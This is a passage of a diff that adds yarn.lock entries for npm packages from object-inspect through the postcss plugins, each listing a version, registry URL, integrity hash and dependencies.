+  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.3.tgz#f14c183de51130243d6d18ae149375ff50ea488a"
+  integrity sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA==
+
+object-keys@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
+  integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==
+
+object.assign@^4.1.4, object.assign@^4.1.7:
+  version "4.1.7"
+  resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.7.tgz#8c14ca1a424c6a561b0bb2a22f66f5049a945d3d"
+  integrity sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+    has-symbols "^1.1.0"
+    object-keys "^1.1.1"
+
+object.entries@^1.1.8:
+  version "1.1.8"
+  resolved "https://registry.yarnpkg.com/object.entries/-/object.entries-1.1.8.tgz#bffe6f282e01f4d17807204a24f8edd823599c41"
+  integrity sha512-cmopxi8VwRIAw/fkijJohSfpef5PdN0pMQJN6VC/ZKvn0LIknWD8KtgY6KlQdEc4tIjcQ3HxSMmnvtzIscdaYQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+
+object.fromentries@^2.0.8:
+  version "2.0.8"
+  resolved "https://registry.yarnpkg.com/object.fromentries/-/object.fromentries-2.0.8.tgz#f7195d8a9b97bd95cbc1999ea939ecd1a2b00c65"
+  integrity sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-object-atoms "^1.0.0"
+
+object.getownpropertydescriptors@^2.1.0:
+  version "2.1.8"
+  resolved "https://registry.yarnpkg.com/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.8.tgz#2f1fe0606ec1a7658154ccd4f728504f69667923"
+  integrity sha512-qkHIGe4q0lSYMv0XI4SsBTJz3WaURhLvd0lKSgtVuOsJ2krg4SgMw3PIRQFMp07yi++UR3se2mkcLqsBNpBb/A==
+  dependencies:
+    array.prototype.reduce "^1.0.6"
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-object-atoms "^1.0.0"
+    gopd "^1.0.1"
+    safe-array-concat "^1.1.2"
+
+object.groupby@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/object.groupby/-/object.groupby-1.0.3.tgz#9b125c36238129f6f7b61954a1e7176148d5002e"
+  integrity sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+
+object.values@^1.1.0, object.values@^1.1.6, object.values@^1.2.0, object.values@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/object.values/-/object.values-1.2.1.tgz#deed520a50809ff7f75a7cfd4bc64c7a038c6216"
+  integrity sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+
+obuf@^1.0.0, obuf@^1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/obuf/-/obuf-1.1.2.tgz#09bea3343d41859ebd446292d11c9d4db619084e"
+  integrity sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==
+
+on-finished@2.4.1:
+  version "2.4.1"
+  resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.4.1.tgz#58c8c44116e54845ad57f14ab10b03533184ac3f"
+  integrity sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==
+  dependencies:
+    ee-first "1.1.1"
+
+on-headers@~1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/on-headers/-/on-headers-1.0.2.tgz#772b0ae6aaa525c399e489adfad90c403eb3c28f"
+  integrity sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==
+
+once@^1.3.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
+  integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==
+  dependencies:
+    wrappy "1"
+
+onetime@^5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/onetime/-/onetime-5.1.2.tgz#d0e96ebb56b07476df1dd9c4806e5237985ca45e"
+  integrity sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==
+  dependencies:
+    mimic-fn "^2.1.0"
+
+open@^8.0.9, open@^8.4.0:
+  version "8.4.2"
+  resolved "https://registry.yarnpkg.com/open/-/open-8.4.2.tgz#5b5ffe2a8f793dcd2aad73e550cb87b59cb084f9"
+  integrity sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==
+  dependencies:
+    define-lazy-prop "^2.0.0"
+    is-docker "^2.1.1"
+    is-wsl "^2.2.0"
+
+optionator@^0.8.1:
+  version "0.8.3"
+  resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.8.3.tgz#84fa1d036fe9d3c7e21d99884b601167ec8fb495"
+  integrity sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==
+  dependencies:
+    deep-is "~0.1.3"
+    fast-levenshtein "~2.0.6"
+    levn "~0.3.0"
+    prelude-ls "~1.1.2"
+    type-check "~0.3.2"
+    word-wrap "~1.2.3"
+
+optionator@^0.9.3:
+  version "0.9.4"
+  resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.9.4.tgz#7ea1c1a5d91d764fb282139c88fe11e182a3a734"
+  integrity sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==
+  dependencies:
+    deep-is "^0.1.3"
+    fast-levenshtein "^2.0.6"
+    levn "^0.4.1"
+    prelude-ls "^1.2.1"
+    type-check "^0.4.0"
+    word-wrap "^1.2.5"
+
+own-keys@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/own-keys/-/own-keys-1.0.1.tgz#e4006910a2bf913585289676eebd6f390cf51358"
+  integrity sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==
+  dependencies:
+    get-intrinsic "^1.2.6"
+    object-keys "^1.1.1"
+    safe-push-apply "^1.0.0"
+
+p-limit@^2.0.0, p-limit@^2.2.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1"
+  integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==
+  dependencies:
+    p-try "^2.0.0"
+
+p-limit@^3.0.2:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-3.1.0.tgz#e1daccbe78d0d1388ca18c64fea38e3e57e3706b"
+  integrity sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==
+  dependencies:
+    yocto-queue "^0.1.0"
+
+p-locate@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-3.0.0.tgz#322d69a05c0264b25997d9f40cd8a891ab0064a4"
+  integrity sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==
+  dependencies:
+    p-limit "^2.0.0"
+
+p-locate@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07"
+  integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==
+  dependencies:
+    p-limit "^2.2.0"
+
+p-locate@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-5.0.0.tgz#83c8315c6785005e3bd021839411c9e110e6d834"
+  integrity sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==
+  dependencies:
+    p-limit "^3.0.2"
+
+p-retry@^4.5.0:
+  version "4.6.2"
+  resolved "https://registry.yarnpkg.com/p-retry/-/p-retry-4.6.2.tgz#9baae7184057edd4e17231cee04264106e092a16"
+  integrity sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==
+  dependencies:
+    "@types/retry" "0.12.0"
+    retry "^0.13.1"
+
+p-try@^2.0.0:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6"
+  integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==
+
+package-json-from-dist@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz#4f1471a010827a86f94cfd9b0727e36d267de505"
+  integrity sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==
+
+param-case@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/param-case/-/param-case-3.0.4.tgz#7d17fe4aa12bde34d4a77d91acfb6219caad01c5"
+  integrity sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==
+  dependencies:
+    dot-case "^3.0.4"
+    tslib "^2.0.3"
+
+parent-module@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/parent-module/-/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2"
+  integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==
+  dependencies:
+    callsites "^3.0.0"
+
+parse-json@^5.0.0, parse-json@^5.2.0:
+  version "5.2.0"
+  resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-5.2.0.tgz#c76fc66dee54231c962b22bcc8a72cf2f99753cd"
+  integrity sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==
+  dependencies:
+    "@babel/code-frame" "^7.0.0"
+    error-ex "^1.3.1"
+    json-parse-even-better-errors "^2.3.0"
+    lines-and-columns "^1.1.6"
+
+parse5@6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/parse5/-/parse5-6.0.1.tgz#e1a1c085c569b3dc08321184f19a39cc27f7c30b"
+  integrity sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==
+
+parseurl@~1.3.2, parseurl@~1.3.3:
+  version "1.3.3"
+  resolved "https://registry.yarnpkg.com/parseurl/-/parseurl-1.3.3.tgz#9da19e7bee8d12dff0513ed5b76957793bc2e8d4"
+  integrity sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==
+
+pascal-case@^3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/pascal-case/-/pascal-case-3.1.2.tgz#b48e0ef2b98e205e7c1dae747d0b1508237660eb"
+  integrity sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==
+  dependencies:
+    no-case "^3.0.4"
+    tslib "^2.0.3"
+
+path-exists@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515"
+  integrity sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==
+
+path-exists@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
+  integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
+
+path-is-absolute@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
+  integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==
+
+path-key@^3.0.0, path-key@^3.1.0:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
+  integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
+
+path-parse@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
+  integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
+
+path-scurry@^1.11.1:
+  version "1.11.1"
+  resolved "https://registry.yarnpkg.com/path-scurry/-/path-scurry-1.11.1.tgz#7960a668888594a0720b12a911d1a742ab9f11d2"
+  integrity sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==
+  dependencies:
+    lru-cache "^10.2.0"
+    minipass "^5.0.0 || ^6.0.2 || ^7.0.0"
+
+path-to-regexp@0.1.12:
+  version "0.1.12"
+  resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.12.tgz#d5e1a12e478a976d432ef3c58d534b9923164bb7"
+  integrity sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==
+
+path-type@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/path-type/-/path-type-4.0.0.tgz#84ed01c0a7ba380afe09d90a8c180dcd9d03043b"
+  integrity sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==
+
+performance-now@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/performance-now/-/performance-now-2.1.0.tgz#6309f4e0e5fa913ec1c69307ae364b4b377c9e7b"
+  integrity sha512-7EAHlyLHI56VEIdK57uwHdHKIaAGbnXPiw0yWbarQZOKaKpvUIgW0jWRVLiatnM+XXlSwsanIBH/hzGMJulMow==
+
+picocolors@^0.2.1:
+  version "0.2.1"
+  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-0.2.1.tgz#570670f793646851d1ba135996962abad587859f"
+  integrity sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==
+
+picocolors@^1.0.0, picocolors@^1.0.1, picocolors@^1.1.0, picocolors@^1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
+  integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
+
+picomatch@^2.0.4, picomatch@^2.2.1, picomatch@^2.2.2, picomatch@^2.2.3, picomatch@^2.3.1:
+  version "2.3.1"
+  resolved "https://registry.yarnpkg.com/picomatch/-/picomatch-2.3.1.tgz#3ba3833733646d9d3e4995946c1365a67fb07a42"
+  integrity sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==
+
+pify@^2.3.0:
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/pify/-/pify-2.3.0.tgz#ed141a6ac043a849ea588498e7dca8b15330e90c"
+  integrity sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==
+
+pify@^4.0.1:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/pify/-/pify-4.0.1.tgz#4b2cd25c50d598735c50292224fd8c6df41e3231"
+  integrity sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==
+
+pirates@^4.0.1, pirates@^4.0.4, pirates@^4.0.6:
+  version "4.0.6"
+  resolved "https://registry.yarnpkg.com/pirates/-/pirates-4.0.6.tgz#3018ae32ecfcff6c29ba2267cbf21166ac1f36b9"
+  integrity sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==
+
+pkg-dir@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-3.0.0.tgz#2749020f239ed990881b1f71210d51eb6523bea3"
+  integrity sha512-/E57AYkoeQ25qkxMj5PBOVgF8Kiu/h7cYS30Z5+R7WaiCCBfLq58ZI/dSeaEKb9WVJV5n/03QwrN3IeWIFllvw==
+  dependencies:
+    find-up "^3.0.0"
+
+pkg-dir@^4.1.0, pkg-dir@^4.2.0:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-4.2.0.tgz#f099133df7ede422e81d1d8448270eeb3e4261f3"
+  integrity sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==
+  dependencies:
+    find-up "^4.0.0"
+
+pkg-up@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/pkg-up/-/pkg-up-3.1.0.tgz#100ec235cc150e4fd42519412596a28512a0def5"
+  integrity sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==
+  dependencies:
+    find-up "^3.0.0"
+
+possible-typed-array-names@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/possible-typed-array-names/-/possible-typed-array-names-1.0.0.tgz#89bb63c6fada2c3e90adc4a647beeeb39cc7bf8f"
+  integrity sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q==
+
+postcss-attribute-case-insensitive@^5.0.2:
+  version "5.0.2"
+  resolved "https://registry.yarnpkg.com/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-5.0.2.tgz#03d761b24afc04c09e757e92ff53716ae8ea2741"
+  integrity sha512-XIidXV8fDr0kKt28vqki84fRK8VW8eTuIa4PChv2MqKuT6C9UjmSKzen6KaWhWEoYvwxFCa7n/tC1SZ3tyq4SQ==
+  dependencies:
+    postcss-selector-parser "^6.0.10"
+
+postcss-browser-comments@^4:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/postcss-browser-comments/-/postcss-browser-comments-4.0.0.tgz#bcfc86134df5807f5d3c0eefa191d42136b5e72a"
+  integrity sha512-X9X9/WN3KIvY9+hNERUqX9gncsgBA25XaeR+jshHz2j8+sYyHktHw1JdKuMjeLpGktXidqDhA7b/qm1mrBDmgg==
+
+postcss-calc@^8.2.3:
+  version "8.2.4"
+  resolved "https://registry.yarnpkg.com/postcss-calc/-/postcss-calc-8.2.4.tgz#77b9c29bfcbe8a07ff6693dc87050828889739a5"
+  integrity sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==
+  dependencies:
+    postcss-selector-parser "^6.0.9"
+    postcss-value-parser "^4.2.0"
+
+postcss-clamp@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-clamp/-/postcss-clamp-4.1.0.tgz#7263e95abadd8c2ba1bd911b0b5a5c9c93e02363"
+  integrity sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-color-functional-notation@^4.2.4:
+  version "4.2.4"
+  resolved "https://registry.yarnpkg.com/postcss-color-functional-notation/-/postcss-color-functional-notation-4.2.4.tgz#21a909e8d7454d3612d1659e471ce4696f28caec"
+  integrity sha512-2yrTAUZUab9s6CpxkxC4rVgFEVaR6/2Pipvi6qcgvnYiVqZcbDHEoBDhrXzyb7Efh2CCfHQNtcqWcIruDTIUeg==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-color-hex-alpha@^8.0.4:
+  version "8.0.4"
+  resolved "https://registry.yarnpkg.com/postcss-color-hex-alpha/-/postcss-color-hex-alpha-8.0.4.tgz#c66e2980f2fbc1a63f5b079663340ce8b55f25a5"
+  integrity sha512-nLo2DCRC9eE4w2JmuKgVA3fGL3d01kGq752pVALF68qpGLmx2Qrk91QTKkdUqqp45T1K1XV8IhQpcu1hoAQflQ==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-color-rebeccapurple@^7.1.1:
+  version "7.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-7.1.1.tgz#63fdab91d878ebc4dd4b7c02619a0c3d6a56ced0"
+  integrity sha512-pGxkuVEInwLHgkNxUc4sdg4g3py7zUeCQ9sMfwyHAT+Ezk8a4OaaVZ8lIY5+oNqA/BXXgLyXv0+5wHP68R79hg==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-colormin@^5.3.1:
+  version "5.3.1"
+  resolved "https://registry.yarnpkg.com/postcss-colormin/-/postcss-colormin-5.3.1.tgz#86c27c26ed6ba00d96c79e08f3ffb418d1d1988f"
+  integrity sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==
+  dependencies:
+    browserslist "^4.21.4"
+    caniuse-api "^3.0.0"
+    colord "^2.9.1"
+    postcss-value-parser "^4.2.0"
+
+postcss-convert-values@^5.1.3:
+  version "5.1.3"
+  resolved "https://registry.yarnpkg.com/postcss-convert-values/-/postcss-convert-values-5.1.3.tgz#04998bb9ba6b65aa31035d669a6af342c5f9d393"
+  integrity sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==
+  dependencies:
+    browserslist "^4.21.4"
+    postcss-value-parser "^4.2.0"
+
+postcss-custom-media@^8.0.2:
+  version "8.0.2"
+  resolved "https://registry.yarnpkg.com/postcss-custom-media/-/postcss-custom-media-8.0.2.tgz#c8f9637edf45fef761b014c024cee013f80529ea"
+  integrity sha512-7yi25vDAoHAkbhAzX9dHx2yc6ntS4jQvejrNcC+csQJAXjj15e7VcWfMgLqBNAbOvqi5uIa9huOVwdHbf+sKqg==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-custom-properties@^12.1.10:
+  version "12.1.11"
+  resolved "https://registry.yarnpkg.com/postcss-custom-properties/-/postcss-custom-properties-12.1.11.tgz#d14bb9b3989ac4d40aaa0e110b43be67ac7845cf"
+  integrity sha512-0IDJYhgU8xDv1KY6+VgUwuQkVtmYzRwu+dMjnmdMafXYv86SWqfxkc7qdDvWS38vsjaEtv8e0vGOUQrAiMBLpQ==
+  dependencies:
+    postcss-value-parser "^4.2.0"
+
+postcss-custom-selectors@^6.0.3:
+  version "6.0.3"
+  resolved "https://registry.yarnpkg.com/postcss-custom-selectors/-/postcss-custom-selectors-6.0.3.tgz#1ab4684d65f30fed175520f82d223db0337239d9"
+  integrity sha512-fgVkmyiWDwmD3JbpCmB45SvvlCD6z9CG6Ie6Iere22W5aHea6oWa7EM2bpnv2Fj3I94L3VbtvX9KqwSi5aFzSg==
+  dependencies:
+    postcss-selector-parser "^6.0.4"
+
+postcss-dir-pseudo-class@^6.0.5:
+  version "6.0.5"
+  resolved "https://registry.yarnpkg.com/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-6.0.5.tgz#2bf31de5de76added44e0a25ecf60ae9f7c7c26c"
+  integrity sha512-eqn4m70P031PF7ZQIvSgy9RSJ5uI2171O/OO/zcRNYpJbvaeKFUlar1aJ7rmgiQtbm0FSPsRewjpdS0Oew7MPA==
+  dependencies:
+    postcss-selector-parser "^6.0.10"
+
+postcss-discard-comments@^5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz#8df5e81d2925af2780075840c1526f0660e53696"
+  integrity sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==
+
+postcss-discard-duplicates@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz#9eb4fe8456706a4eebd6d3b7b777d07bad03e848"
+  integrity sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==
+
+postcss-discard-empty@^5.1.1:
+  version "5.1.1"
+  resolved "https://registry.yarnpkg.com/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz#e57762343ff7f503fe53fca553d18d7f0c369c6c"
+  integrity sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==
+
+postcss-discard-overridden@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz#7e8c5b53325747e9d90131bb88635282fb4a276e"
